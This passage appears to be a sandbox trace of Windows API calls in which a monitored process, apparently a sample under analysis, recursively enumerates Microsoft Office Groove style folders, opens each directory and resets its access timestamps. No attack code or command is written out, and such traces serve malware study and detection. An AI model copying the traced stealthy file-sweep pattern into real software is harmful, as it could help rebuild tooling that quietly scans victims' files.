dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="")) returned 1 [0078.784] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="")) returned 1 [0078.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac23f0 [0078.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6e98 [0078.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.785] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x736, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0078.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2410 [0078.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c6fa0 [0078.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.786] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0078.786] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0078.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2430 [0078.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c70a8 [0078.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.787] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl", cAlternateFileName="")) returned 1 [0078.787] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc23, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0078.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2450 [0078.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c71b0 [0078.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.787] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5acc63d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0078.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2470 [0078.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c72b8 [0078.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.788] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TexturedBlue.css", cAlternateFileName="")) returned 1 [0078.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2490 [0078.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c73c0 [0078.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.789] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x375, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 1 [0078.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac24b0 [0078.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c74c8 [0078.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.790] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x375, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 0 [0078.790] GetLastError () returned 0x12 [0078.790] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9180 [0078.790] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.790] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.790] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0078.790] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana", cAlternateFileName="")) returned 1 [0078.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.790] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.794] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.794] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.795] NtClose (Handle=0x170) returned 0x0 [0078.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c76d8 [0078.795] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0078.795] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.797] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c77e0 [0078.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac24d0 [0078.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c78e8 [0078.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4740) returned 0x11c8048 [0078.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.798] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac24f0 [0078.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c79f0 [0078.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.799] GetLastError () returned 0x12 [0078.799] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.799] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.799] GetLastError () returned 0x12 [0078.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c76d8) returned 1 [0078.799] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c77e0) returned 1 [0078.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="")) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue", cAlternateFileName="")) returned 1 [0078.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.800] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.801] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.801] NtClose (Handle=0x180) returned 0x0 [0078.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c75d0) returned 1 [0078.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c75d0 [0078.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.801] RtlAllocateHeap 